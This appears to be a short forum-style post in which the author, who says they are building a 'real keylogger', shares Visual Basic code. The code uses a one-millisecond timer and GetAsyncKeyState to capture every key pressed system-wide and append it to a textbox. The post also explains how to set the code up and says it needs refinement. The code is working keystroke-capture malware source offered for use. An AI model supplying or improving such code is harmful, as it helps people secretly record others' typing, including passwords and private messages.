I'm working on a real keylogger, and I was researching how to do them, and after a bit of thinking I came up with this code... it works for a very very basic keylogger, but you'll get tons of unwanted weird characters in your text, so you have to do a lot of modification if you want to use this for a good quality keylogger (like I am).
Just create a timer and a textbox on your form, leave their names as Text1 and Timer1. Set the timer's interval to 1 and make sure it's activated. Copy this code to your form.
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End if
Next i
End Sub
Comments